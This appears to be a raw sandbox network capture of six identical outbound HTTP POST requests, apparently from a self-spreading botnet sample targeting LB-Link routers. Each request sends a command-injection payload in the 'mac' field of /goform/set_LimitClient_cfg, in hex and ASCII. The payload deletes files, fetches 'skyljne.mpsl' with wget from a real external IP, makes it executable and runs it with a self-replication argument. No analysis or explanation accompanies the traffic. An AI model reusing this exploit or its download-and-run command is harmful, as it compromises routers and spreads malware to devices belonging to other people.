Jan 11, 2024 14:36:39.500026941 CET	240	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2024 14:36:47.349046946 CET	228	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Jan 11, 2024 14:36:51.370333910 CET	228	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Jan 11, 2024 14:36:57.513632059 CET	228	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Jan 11, 2024 14:37:09.543965101 CET	228	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Jan 11, 2024 14:37:33.860292912 CET	228	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;